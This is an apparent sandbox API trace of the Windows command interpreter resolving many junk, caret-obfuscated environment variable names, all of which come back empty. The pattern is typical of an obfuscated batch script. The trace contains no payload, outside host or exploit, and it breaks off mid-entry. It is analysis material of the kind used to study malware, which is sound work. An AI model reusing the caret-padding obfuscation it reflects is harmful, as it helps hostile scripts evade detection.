[0084.795] _wcsicmp (_String1="gx^b", _String2="CMDEXTVERSION") returned 4 [0084.795] _wcsicmp (_String1="gx^b", _String2="CMDCMDLINE") returned 4 [0084.795] _wcsicmp (_String1="gx^b", _String2="DATE") returned 3 [0084.795] _wcsicmp (_String1="gx^b", _String2="TIME") returned -13 [0084.795] _wcsicmp (_String1="gx^b", _String2="RANDOM") returned -11 [0084.795] _wcsicmp (_String1="gx^b", _String2="HIGHESTNUMANODENUMBER") returned -1 [0084.795] GetEnvironmentVariableW (in: lpName="^6vzH", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0084.795] _wcsicmp (_String1="^6vzH", _String2="CD") returned -5 [0084.795] _wcsicmp (_String1="^6vzH", _String2="ERRORLEVEL") returned -7 [0084.795] _wcsicmp (_String1="^6vzH", _String2="CMDEXTVERSION") returned -5 [0084.795] _wcsicmp (_String1="^6vzH", _String2="CMDCMDLINE") returned -5 [0084.795] _wcsicmp (_String1="^6vzH", _String2="DATE") returned -6 [0084.795] _wcsicmp (_String1="^6vzH", _String2="TIME") returned -22 [0084.796] _wcsicmp (_String1="^6vzH", _String2="RANDOM") returned -20 [0084.796] _wcsicmp (_String1="^6vzH", _String2="HIGHESTNUMANODENUMBER") returned -10 [0084.796] GetEnvironmentVariableW (in: lpName="^Rz", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0084.796] _wcsicmp (_String1="^Rz", _String2="CD") returned -5 [0084.796] _wcsicmp (_String1="^Rz", _String2="ERRORLEVEL") returned -7 [0084.796] _wcsicmp (_String1="^Rz", _String2="CMDEXTVERSION") returned -5 [0084.796] _wcsicmp (_String1="^Rz", _String2="CMDCMDLINE") returned -5 [0084.796] _wcsicmp (_String1="^Rz", _String2="DATE") returned -6 [0084.796] _wcsicmp (_String1="^Rz", _String2="TIME") returned -22 [0084.796] _wcsicmp (_String1="^Rz", _String2="RANDOM") returned -20 [0084.796] _wcsicmp (_String1="^Rz", _String2="HIGHESTNUMANODENUMBER") returned -10 [0084.796] GetEnvironmentVariableW (in: lpName="9c^u^B", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0084.796] _wcsicmp (_String1="9c^u^B", _String2="CD") returned -42 [0084.796] _wcsicmp (_String1="9c^u^B", _String2="ERRORLEVEL") returned -44 [0084.796] _wcsicmp (_String1="9c^u^B", _String2="CMDEXTVERSION") returned -42 [0084.796] _wcsicmp (_String1="9c^u^B", _String2="CMDCMDLINE") returned -42 [0084.796] _wcsicmp (_String1="9c^u^B", _String2="DATE") returned -43 [0084.796] _wcsicmp (_String1="9c^u^B", _String2="TIME") returned -59 [0084.797] _wcsicmp (_String1="9c^u^B", _String2="RANDOM") returned -57 [0084.797] _wcsicmp (_String1="9c^u^B", _String2="HIGHESTNUMANODENUMBER") returned -47 [0084.797] GetEnvironmentVariableW (in: lpName="^G5Q1", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0084.797] _wcsicmp (_String1="^G5Q1", _String2="CD") returned -5 [0084.797] _wcsicmp (_String1="^G5Q1", _String2="ERRORLEVEL") returned -7 [0084.797] _wcsicmp (_String1="^G5Q1", _String2="CMDEXTVERSION") returned -5 [0084.797] _wcsicmp (_String1="^G5Q1", _String2="CMDCMDLINE") returned -5 [0084.797] _wcsicmp (_String1="^G5Q1", _String2="DATE") returned -6 [0084.797] _wcsicmp (_String1="^G5Q1", _String2="TIME") returned -22 [0084.797] _wcsicmp (_String1="^G5Q1", _String2="RANDOM") returned -20 [0084.797] _wcsicmp (_String1="^G5Q1", _String2="HIGHESTNUMANODENUMBER") returned -10 [0084.797] GetEnvironmentVariableW (in: lpName="v^F", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0084.797] _wcsicmp (_String1="v^F", _String2="CD") returned 19 [0084.797] _wcsicmp (_String1="v^F", _String2="ERRORLEVEL") returned 17 [0084.797] _wcsicmp (_String1="v^F", _String2="CMDEXTVERSION") returned 19 [0084.797] _wcsicmp (_String1="v^F", _String2="CMDCMDLINE") returned 19 [0084.797] _wcsicmp (_String1="v^F", _String2="DATE") returned 18 [0084.797] _wcsicmp (_String1="v^F", _String2="TIME") returned 2 [0084.798] _wcsicmp (_String1="v^F", _String2="RANDOM") returned 4 [0084.798] _wcsicmp (_String1="v^F", _String2="HIGHESTNUMANODENUMBER") returned 14 [0084.798] GetEnvironmentVariableW (in: lpName="uU^H", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0084.798] _wcsicmp (_String1="uU^H", _String2="CD") returned 18 [0084.798] _wcsicmp (_String1="uU^H", _String2="ERRORLEVEL") returned 16 [0084.798] _wcsicmp (_String1="uU^H", _String2="CMDEXTVERSION") returned 18 [0084.798] _wcsicmp (_String1="uU^H", _String2="CMDCMDLINE") returned 18 [0084.798] _wcsicmp (_String1="uU^H", _String2="DATE") returned 17 [0084.798] _wcsicmp (_String1="uU^H", _String2="TIME") returned 1 [0084.798] _wcsicmp (_String1="uU^H", _String2="RANDOM") returned 3 [0084.798] _wcsicmp (_String1="uU^H", _String2="HIGHESTNUMANODENUMBER") returned 13 [0084.798] GetEnvironmentVariableW (in: lpName="v^Z^c", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0084.798] _wcsicmp (_String1="v^Z^c", _String2="CD") returned 19 [0084.798] _wcsicmp (_String1="v^Z^c", _String2="ERRORLEVEL") returned 17 [0084.798] _wcsicmp (_String1="v^Z^c", _String2="CMDEXTVERSION") returned 19 [0084.798] _wcsicmp (_String1="v^Z^c", _String2="CMDCMDLINE") returned 19 [0084.798] _wcsicmp (_String1="v^Z^c", _String2="DATE") returned 18 [0084.798] _wcsicmp (_String1="v^Z^c", _String2="TIME") returned 2 [0084.799] _wcsicmp (_String1="v^Z^c", _String2="RANDOM") returned 4 [0084.799] _wcsicmp (_String1="v^Z^c", _String2="HIGHESTNUMANODENUMBER") returned 14 [0084.799] GetEnvironmentVariableW (in: lpName="a^Xch", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0084.799] _wcsicmp (_String1="a^Xch", _String2="CD") returned -2 [0084.799] _wcsicmp (_String1="a^Xch", _String2="ERRORLEVEL") returned -4 [0084.799] _wcsicmp (_String1="a^Xch", _String2="CMDEXTVERSION") returned -2 [0084.799] _wcsicmp (_String1="a^Xch", _String2="CMDCMDLINE") returned -2 [0084.799] _wcsicmp (_String1="a^Xch", _String2="DATE") returned -3 [0084.799] _wcsicmp (_String1="a^Xch", _String2="TIME") returned -19 [0084.799] _wcsicmp (_String1="a^Xch", _String2="RANDOM") returned -17 [0084.799] _wcsicmp (_String1="a^Xch", _String2="HIGHESTNUMANODENUMBER") returned -7 [0084.799] GetEnvironmentVariableW (in: lpName="P^d^J6", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0084.799] _wcsicmp (_String1="P^d^J6", _String2="CD") returned 13 [0084.799] _wcsicmp (_String1="P^d^J6", _String2="ERRORLEVEL") returned 11 [0084.799] _wcsicmp (_String1="P^d^J6", _String2="CMDEXTVERSION") returned 13 [0084.799] _wcsicmp (_String1="P^d^J6", _String2="CMDCMDLINE") returned 13 [0084.799] _wcsicmp (_String1="P^d^J6", _String2="DATE") returned 12 [0084.799] _wcsicmp (_String1="P^d^J6", _String2="TIME") returned -4 [0084.800] _wcsicmp (_String1="P^d^J6", _String2="RANDOM") returned -2 [0084.800] _wcsicmp (_String1="P^d^J6", _String2="HIGHESTNUMANODENUMBER") returned 8 [0084.800] GetEnvironmentVariableW (in: lpName="L^b", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0084.800] _wcsicmp (_String1="L^b", _String2="CD") returned 9 [0084.800] _wcsicmp (_String1="L^b", _String2="ERRORLEVEL") returned 7 [0084.800] _wcsicmp (_String1="L^b", _String2="CMDEXTVERSION") returned 9 [0084.800] _wcsicmp (_String1="L^b", _String2="CMDCMDLINE") returned 9 [0084.800] _wcsicmp (_String1="L^b", _String2="DATE") returned 8 [0084.800] _wcsicmp (_String1="L^b", _String2="TIME") returned -8 [0084.800] _wcsicmp (_String1="L^b", _String2="RANDOM") returned -6 [0084.800] _wcsicmp (_String1="L^b", _String2="HIGHESTNUMANODENUMBER") returned 4 [0084.800] GetEnvironmentVariableW (in: lpName="^Zb", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0084.800] _wcsicmp (_String1="^Zb", _String2="CD") returned -5 [0084.800] _wcsicmp (_String1="^Zb", _String2="ERRORLEVEL") returned -7 [0084.800] _wcsicmp (_String1="^Zb", _String2="CMDEXTVERSION") returned -5 [0084.801] _wcsicmp (_String1="^Zb", _String2="CMDCMDLINE") returned -5 [0084.801] _wcsicmp (_String1="^Zb", _String2="DATE") returned -6 [0084.801] _wcsicmp (_String1="^Zb", _String2="TIME") returned -22 [0084.801] _wcsicmp (_String1="^Zb", _String2="RANDOM") returned -20 [0084.801] _wcsicmp (_String1="^Zb", _String2="HIGHESTNUMANODENUMBER") returned -10 [0084.801] GetEnvironmentVariableW (in: lpName="^R5qC", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0084.801] _wcsicmp (_String1="^R5qC", _String2="CD") returned -5 [0084.801] _wcsicmp (_String1="^R5qC", _String2="ERRORLEVEL") returned -7 [0084.801] _wcsicmp (_String1="^R5qC", _String2="CMDEXTVERSION") returned -5 [0084.801] _wcsicmp (_String1="^R5qC", _String2="CMDCMDLINE") returned -5 [0084.801] _wcsicmp (_String1="^R5qC", _String2="DATE") returned -6 [0084.801] _wcsicmp (_String1="^R5qC", _String2="TIME") returned -22 [0084.801] _wcsicmp (_String1="^R5qC", _String2="RANDOM") returned -20 [0084.801] _wcsicmp (_String1="^R5qC", _String2="HIGHESTNUMANODENUMBER") returned -10 [0084.801] GetEnvironmentVariableW (in: lpName="^Z13", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0084.801] _wcsicmp (_String1="^Z13", _String2="CD") returned -5 [0084.801] _wcsicmp (_String1="^Z13", _String2="ERRORLEVEL") returned -7 [0084.801] _wcsicmp (_String1="^Z13", _String2="CMDEXTVERSION") returned -5 [0084.802] _wcsicmp (_String1="^Z13", _String2="CMDCMDLINE") returned -5 [0084.802] _wcsicmp (_String1="^Z13", _String2="DATE") returned -6 [0084.802] _wcsicmp (_String1="^Z13", _String2="TIME") returned -22 [0084.802] _wcsicmp (_String1="^Z13", _String2="RANDOM") returned -20 [0084.802] _wcsicmp (_String1="^Z13", _String2="HIGHESTNUMANODENUMBER") returned -10 [0084.802] GetEnvironmentVariableW (in: lpName="j1", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0084.802] _wcsicmp (_String1="j1", _String2="CD") returned 7 [0084.802] _wcsicmp (_String1="j1", _String2="ERRORLEVEL") returned 5 [0084.802] _wcsicmp (_String1="j1", _String2="CMDEXTVERSION") returned 7 [0084.802] _wcsicmp (_String1="j1", _String2="CMDCMDLINE") returned 7 [0084.802] _wcsicmp (_String1="j1", _String2="DATE") returned 6 [0084.802] _wcsicmp (_String1="j1", _String2="TIME") returned -10 [0084.802] _wcsicmp (_String1="j1", _String2="RANDOM") returned -8 [0084.802] _wcsicmp (_String1="j1", _String2="HIGHESTNUMANODENUMBER") returned 2 [0084.802] GetEnvironmentVariableW (in: lpName="x^S", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0084.802] _wcsicmp (_String1="x^S", _String2="CD") returned 21 [0084.802] _wcsicmp (_String1="x^S", _String2="ERRORLEVEL") returned 19 [0084.802] _wcsicmp (_String1="x^S", _String2="CMDEXTVERSION") returned 21 [0084.803] _wcsicmp (_String1="x^S", _String2="CMDCMDLINE") returned 21 [0084.803] _wcsicmp (_String1="x^S", _String2="DATE") returned 20 [0084.803] _wcsicmp (_String1="x^S", _String2="TIME") returned 4 [0084.803] _wcsicmp (_String1="x^S", _String2="RANDOM") returned 6 [0084.803] _wcsicmp (_String1="x^S", _String2="HIGHESTNUMANODENUMBER") returned 16 [0084.803] GetEnvironmentVariableW (in: lpName="eZ^P", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0084.803] _wcsicmp (_String1="eZ^P", _String2="CD") returned 2 [0084.803] _wcsicmp (_String1="eZ^P", _String2="ERRORLEVEL") returned 8 [0084.803] _wcsicmp (_String1="eZ^P", _String2="CMDEXTVERSION") returned 2 [0084.803] _wcsicmp (_String1="eZ^P", _String2="CMDCMDLINE") returned 2 [0084.803] _wcsicmp (_String1="eZ^P", _String2="DATE") returned 1 [0084.803] _wcsicmp (_String1="eZ^P", _String2="TIME") returned -15 [0084.803] _wcsicmp (_String1="eZ^P", _String2="RANDOM") returned -13 [0084.803] _wcsicmp (_String1="eZ^P", _String2="HIGHESTNUMANODENUMBER") returned -3 [0084.803] GetEnvironmentVariableW (in: lpName="^a^z8", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0084.803] _wcsicmp (_String1="^a^z8", _String2="CD") returned -5 [0084.803] _wcsicmp (_String1="^a^z8", _String2="ERRORLEVEL") returned -7 [0084.803] _wcsicmp (_String1="^a^z8", _String2="CMDEXTVERSION") returned -5 [0084.804] _wcsicmp (_String1="^a^z8", _String2="CMDCMDLINE") returned -5 [0084.804] _wcsicmp (_String1="^a^z8", _String2="DATE") returned -6 [0084.804] _wcsicmp (_String1="^a^z8", _String2="TIME") returned -22 [0084.804] _wcsicmp (_String1="^a^z8", _String2="RANDOM") returned -20 [0084.804] _wcsicmp (_String1="^a^z8", _String2="HIGHESTNUMANODENUMBER") returned -10 [0084.804] GetEnvironmentVariableW (in: lpName="^U19", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0084.804] _wcsicmp (_String1="^U19", _String2="CD") returned -5 [0084.804] _wcsicmp (_String1="^U19", _String2="ERRORLEVEL") returned -7 [0084.804] _wcsicmp (_String1="^U19", _String2="CMDEXTVERSION") returned -5 [0084.804] _wcsicmp (_String1="^U19", _String2="CMDCMDLINE") returned -5 [0084.804] _wcsicmp (_String1="^U19", _String2="DATE") returned -6 [0084.804] _wcsicmp (_String1="^U19", _String2="TIME") returned -22 [0084.804] _wcsicmp (_String1="^U19", _String2="RANDOM") returned -20 [0084.804] _wcsicmp (_String1="^U19", _String2="HIGHESTNUMANODENUMBER") returned -10 [0084.804] GetEnvironmentVariableW (in: lpName="b^1", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0084.804] _wcsicmp (_String1="b^1", _String2="CD") returned -1 [0084.804] _wcsicmp (_String1="b^1", _String2="ERRORLEVEL") returned -3 [0084.804] _wcsicmp (_String1="b^1", _String2="CMDEXTVERSION") returned -1 [0084.805] _wcsicmp (_String1="b^1", _String2="CMDCMDLINE") returned -1 [0084.805] _wcsicmp (_String1="b^1", _String2="DATE") returned -2 [0084.805] _wcsicmp (_String1="b^1", _String2="TIME") returned -18 [0084.805] _wcsicmp (_String1="b^1", _String2="RANDOM") returned -16 [0084.805] _wcsicmp (_String1="b^1", _String2="HIGHESTNUMANODENUMBER") returned -6 [0084.805] GetEnvironmentVariableW (in: lpName="^AN", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0084.805] _wcsicmp (_String1="^AN", _String2="CD") returned -5 [0084.805] _wcsicmp (_String1="^AN", _String2="ERRORLEVEL") returned -7 [0084.805] _wcsicmp (_String1="^AN", _String2="CMDEXTVERSION") returned -5 [0084.805] _wcsicmp (_String1="^AN", _String2="CMDCMDLINE") returned -5 [0084.805] _wcsicmp (_String1="^AN", _String2="DATE") returned -6 [0084.805] _wcsicmp (_String1="^AN", _String2="TIME") returned -22 [0084.805] _wcsicmp (_String1="^AN", _String2="RANDOM") returned -20 [0084.805] _wcsicmp (_String1="^AN", _String2="HIGHESTNUMANODENUMBER") returned -10 [0084.805] GetEnvironmentVariableW (in: lpName="Sq^5^s", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0084.805] _wcsicmp (_String1="Sq^5^s", _String2="CD") returned 16 [0084.805] _wcsicmp (_String1="Sq^5^s", _String2="ERRORLEVEL") returned 14 [0084.805] _wcsicmp (_String1="Sq^5^s", _String2="CMDEXTVERSION") returned 16 [0084.806] _wcsicmp (_String1="Sq^5^s", _String2="CMDCMDLINE") returned 16 [0084.806] _wcsicmp (_String1="Sq^5^s", _String2="DATE") returned 15 [0084.806] _wcsicmp (_String1="Sq^5^s", _String2="TIME") returned -1 [0084.806] _wcsicmp (_String1="Sq^5^s", _String2="RANDOM") returned 1 [0084.806] _wcsicmp (_String1="Sq^5^s", _String2="HIGHESTNUMANODENUMBER") returned 11 [0084.806] GetEnvironmentVariableW (in: lpName="JG^A", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0084.806] _wcsicmp (_String1="JG^A", _String2="CD") returned 7 [0084.806] _wcsicmp (_String1="JG^A", _String2="ERRORLEVEL") returned 5 [0084.806] _wcsicmp (_String1="JG^A", _String2="CMDEXTVERSION") returned 7 [0084.806] _wcsicmp (_String1="JG^A", _String2="CMDCMDLINE") returned 7 [0084.806] _wcsicmp (_String1="JG^A", _String2="DATE") returned 6 [0084.806] _wcsicmp (_String1="JG^A", _String2="TIME") returned -10 [0084.806] _wcsicmp (_String1="JG^A", _String2="RANDOM") returned -8 [0084.806] _wcsicmp (_String1="JG^A", _String2="HIGHESTNUMANODENUMBER") returned 2 [0084.806] GetEnvironmentVariableW (in: lpName="^LK", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0084.806] _wcsicmp (_String1="^LK", _String2="CD") returned -5 [0084.806] _wcsicmp (_String1="^LK", _String2="ERRORLEVEL") returned -7 [0084.806] _wcsicmp (_String1="^LK", _String2="CMDEXTVERSION") returned -5 [0084.807] _wcsicmp (_String1="^LK", _String2="CMDCMDLINE") returned -5 [0084.807] _wcsicmp (_String1="^LK", _String2="DATE") returned -6 [0084.807] _wcsicmp (_String1="^LK", _String2="TIME") returned -22 [0084.807] _wcsicmp (_String1="^LK", _String2="RANDOM") returned -20 [0084.807] _wcsicmp (_String1="^LK", _String2="HIGHESTNUMANODENUMBER") returned -10 [0084.807] GetEnvironmentVariableW (in: lpName="UQ7^k", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0084.807] _wcsicmp (_String1="UQ7^k", _String2="CD") returned 18 [0084.807] _wcsicmp (_String1="UQ7^k", _String2="ERRORLEVEL") returned 16 [0084.807] _wcsicmp (_String1="UQ7^k", _String2="CMDEXTVERSION") returned 18 [0084.807] _wcsicmp (_String1="UQ7^k", _String2="CMDCMDLINE") returned 18 [0084.807] _wcsicmp (_String1="UQ7^k", _String2="DATE") returned 17 [0084.807] _wcsicmp (_String1="UQ7^k", _String2="TIME") returned 1 [0084.807] _wcsicmp (_String1="UQ7^k", _String2="RANDOM") returned 3 [0084.807] _wcsicmp (_String1="UQ7^k", _String2="HIGHESTNUMANODENUMBER") returned 13 [0084.807] GetEnvironmentVariableW (in: lpName="^J^F^O6", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0084.807] _wcsicmp (_String1="^J^F^O6", _String2="CD") returned -5 [0084.807] _wcsicmp (_String1="^J^F^O6", _String2="ERRORLEVEL") returned -7 [0084.807] _wcsicmp (_String1="^J^F^O6", _String2="CMDEXTVERSION") returned -5 [0084.808] _wcsicmp (_String1="^J^F^O6", _String2="CMDCMDLINE") returned -5 [0084.808] _wcsicmp (_String1="^J^F^O6", _String2="DATE") returned -6 [0084.808] _wcsicmp (_String1="^J^F^O6", _String2="TIME") returned -22 [0084.808] _wcsicmp (_String1="^J^F^O6", _String2="RANDOM") returned -20 [0084.808] _wcsicmp (_String1="^J^F^O6", _String2="HIGHESTNUMANODENUMBER") returned -10 [0084.808] GetEnvironmentVariableW (in: lpName="bv", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0084.808] _wcsicmp (_String1="bv", _String2="CD") returned -1 [0084.808] _wcsicmp (_String1="bv", _String2="ERRORLEVEL") returned -3 [0084.808] _wcsicmp (_String1="bv", _String2="CMDEXTVERSION") returned -1 [0084.808] _wcsicmp (_String1="bv", _String2="CMDCMDLINE") returned -1 [0084.808] _wcsicmp (_String1="bv", _String2="DATE") returned -2 [0084.808] _wcsicmp (_String1="bv", _String2="TIME") returned -18 [0084.808] _wcsicmp (_String1="bv", _String2="RANDOM") returned -16 [0084.808] _wcsicmp (_String1="bv", _String2="HIGHESTNUMANODENUMBER") returned -6 [0085.265] GetEnvironmentVariableW (in: lpName="us6", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.266] _wcsicmp (_String1="us6", _String2="CD") returned 18 [0085.266] _wcsicmp (_String1="us6", _String2="ERRORLEVEL") returned 16 [0085.266] _wcsicmp (_String1="us6", _String2="CMDEXTVERSION") returned 18 [0085.267] _wcsicmp (_String1="us6", _String2="CMDCMDLINE") returned 18 [0085.267] _wcsicmp (_String1="us6", _String2="DATE") returned 17 [0085.267] _wcsicmp (_String1="us6", _String2="TIME") returned 1 [0085.267] _wcsicmp (_String1="us6", _String2="RANDOM") returned 3 [0085.267] _wcsicmp (_String1="us6", _String2="HIGHESTNUMANODENUMBER") returned 13 [0085.269] GetEnvironmentVariableW (in: lpName="^c^wH", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.270] _wcsicmp (_String1="^c^wH", _String2="CD") returned -5 [0085.270] _wcsicmp (_String1="^c^wH", _String2="ERRORLEVEL") returned -7 [0085.270] _wcsicmp (_String1="^c^wH", _String2="CMDEXTVERSION") returned -5 [0085.270] _wcsicmp (_String1="^c^wH", _String2="CMDCMDLINE") returned -5 [0085.270] _wcsicmp (_String1="^c^wH", _String2="DATE") returned -6 [0085.270] _wcsicmp (_String1="^c^wH", _String2="TIME") returned -22 [0085.270] _wcsicmp (_String1="^c^wH", _String2="RANDOM") returned -20 [0085.270] _wcsicmp (_String1="^c^wH", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.270] GetEnvironmentVariableW (in: lpName="c^WSV", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.270] _wcsicmp (_String1="c^WSV", _String2="CD") returned -6 [0085.270] _wcsicmp (_String1="c^WSV", _String2="ERRORLEVEL") returned -2 [0085.270] _wcsicmp (_String1="c^WSV", _String2="CMDEXTVERSION") returned -15 [0085.270] _wcsicmp (_String1="c^WSV", _String2="CMDCMDLINE") returned -15 [0085.270] _wcsicmp (_String1="c^WSV", _String2="DATE") returned -1 [0085.270] _wcsicmp (_String1="c^WSV", _String2="TIME") returned -17 [0085.270] _wcsicmp (_String1="c^WSV", _String2="RANDOM") returned -15 [0085.270] _wcsicmp (_String1="c^WSV", _String2="HIGHESTNUMANODENUMBER") returned -5 [0085.270] GetEnvironmentVariableW (in: lpName="C^d^J", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.270] _wcsicmp (_String1="C^d^J", _String2="CD") returned -6 [0085.270] _wcsicmp (_String1="C^d^J", _String2="ERRORLEVEL") returned -2 [0085.270] _wcsicmp (_String1="C^d^J", _String2="CMDEXTVERSION") returned -15 [0085.270] _wcsicmp (_String1="C^d^J", _String2="CMDCMDLINE") returned -15 [0085.270] _wcsicmp (_String1="C^d^J", _String2="DATE") returned -1 [0085.270] _wcsicmp (_String1="C^d^J", _String2="TIME") returned -17 [0085.270] _wcsicmp (_String1="C^d^J", _String2="RANDOM") returned -15 [0085.270] _wcsicmp (_String1="C^d^J", _String2="HIGHESTNUMANODENUMBER") returned -5 [0085.271] GetEnvironmentVariableW (in: lpName="G^Y", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.271] _wcsicmp (_String1="G^Y", _String2="CD") returned 4 [0085.271] _wcsicmp (_String1="G^Y", _String2="ERRORLEVEL") returned 2 [0085.271] _wcsicmp (_String1="G^Y", _String2="CMDEXTVERSION") returned 4 [0085.271] _wcsicmp (_String1="G^Y", _String2="CMDCMDLINE") returned 4 [0085.271] _wcsicmp (_String1="G^Y", _String2="DATE") returned 3 [0085.271] _wcsicmp (_String1="G^Y", _String2="TIME") returned -13 [0085.271] _wcsicmp (_String1="G^Y", _String2="RANDOM") returned -11 [0085.271] _wcsicmp (_String1="G^Y", _String2="HIGHESTNUMANODENUMBER") returned -1 [0085.271] GetEnvironmentVariableW (in: lpName="^q0^C^c", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.271] _wcsicmp (_String1="^q0^C^c", _String2="CD") returned -5 [0085.271] _wcsicmp (_String1="^q0^C^c", _String2="ERRORLEVEL") returned -7 [0085.271] _wcsicmp (_String1="^q0^C^c", _String2="CMDEXTVERSION") returned -5 [0085.271] _wcsicmp (_String1="^q0^C^c", _String2="CMDCMDLINE") returned -5 [0085.271] _wcsicmp (_String1="^q0^C^c", _String2="DATE") returned -6 [0085.271] _wcsicmp (_String1="^q0^C^c", _String2="TIME") returned -22 [0085.271] _wcsicmp (_String1="^q0^C^c", _String2="RANDOM") returned -20 [0085.271] _wcsicmp (_String1="^q0^C^c", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.271] GetEnvironmentVariableW (in: lpName="^e^yWN", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.271] _wcsicmp (_String1="^e^yWN", _String2="CD") returned -5 [0085.271] _wcsicmp (_String1="^e^yWN", _String2="ERRORLEVEL") returned -7 [0085.271] _wcsicmp (_String1="^e^yWN", _String2="CMDEXTVERSION") returned -5 [0085.271] _wcsicmp (_String1="^e^yWN", _String2="CMDCMDLINE") returned -5 [0085.271] _wcsicmp (_String1="^e^yWN", _String2="DATE") returned -6 [0085.271] _wcsicmp (_String1="^e^yWN", _String2="TIME") returned -22 [0085.271] _wcsicmp (_String1="^e^yWN", _String2="RANDOM") returned -20 [0085.271] _wcsicmp (_String1="^e^yWN", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.271] GetEnvironmentVariableW (in: lpName="^Z^HTE", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.272] _wcsicmp (_String1="^Z^HTE", _String2="CD") returned -5 [0085.272] _wcsicmp (_String1="^Z^HTE", _String2="ERRORLEVEL") returned -7 [0085.272] _wcsicmp (_String1="^Z^HTE", _String2="CMDEXTVERSION") returned -5 [0085.272] _wcsicmp (_String1="^Z^HTE", _String2="CMDCMDLINE") returned -5 [0085.272] _wcsicmp (_String1="^Z^HTE", _String2="DATE") returned -6 [0085.272] _wcsicmp (_String1="^Z^HTE", _String2="TIME") returned -22 [0085.272] _wcsicmp (_String1="^Z^HTE", _String2="RANDOM") returned -20 [0085.272] _wcsicmp (_String1="^Z^HTE", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.272] GetEnvironmentVariableW (in: lpName="G1^yS", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.272] _wcsicmp (_String1="G1^yS", _String2="CD") returned 4 [0085.272] _wcsicmp (_String1="G1^yS", _String2="ERRORLEVEL") returned 2 [0085.272] _wcsicmp (_String1="G1^yS", _String2="CMDEXTVERSION") returned 4 [0085.272] _wcsicmp (_String1="G1^yS", _String2="CMDCMDLINE") returned 4 [0085.272] _wcsicmp (_String1="G1^yS", _String2="DATE") returned 3 [0085.272] _wcsicmp (_String1="G1^yS", _String2="TIME") returned -13 [0085.272] _wcsicmp (_String1="G1^yS", _String2="RANDOM") returned -11 [0085.272] _wcsicmp (_String1="G1^yS", _String2="HIGHESTNUMANODENUMBER") returned -1 [0085.272] GetEnvironmentVariableW (in: lpName="^ep3A", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.272] _wcsicmp (_String1="^ep3A", _String2="CD") returned -5 [0085.272] _wcsicmp (_String1="^ep3A", _String2="ERRORLEVEL") returned -7 [0085.272] _wcsicmp (_String1="^ep3A", _String2="CMDEXTVERSION") returned -5 [0085.272] _wcsicmp (_String1="^ep3A", _String2="CMDCMDLINE") returned -5 [0085.272] _wcsicmp (_String1="^ep3A", _String2="DATE") returned -6 [0085.272] _wcsicmp (_String1="^ep3A", _String2="TIME") returned -22 [0085.272] _wcsicmp (_String1="^ep3A", _String2="RANDOM") returned -20 [0085.272] _wcsicmp (_String1="^ep3A", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.272] GetEnvironmentVariableW (in: lpName="^ir^1^V", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.273] _wcsicmp (_String1="^ir^1^V", _String2="CD") returned -5 [0085.273] _wcsicmp (_String1="^ir^1^V", _String2="ERRORLEVEL") returned -7 [0085.273] _wcsicmp (_String1="^ir^1^V", _String2="CMDEXTVERSION") returned -5 [0085.273] _wcsicmp (_String1="^ir^1^V", _String2="CMDCMDLINE") returned -5 [0085.273] _wcsicmp (_String1="^ir^1^V", _String2="DATE") returned -6 [0085.273] _wcsicmp (_String1="^ir^1^V", _String2="TIME") returned -22 [0085.273] _wcsicmp (_String1="^ir^1^V", _String2="RANDOM") returned -20 [0085.273] _wcsicmp (_String1="^ir^1^V", _String2="HIGHESTNUMANODENUMBER") returned 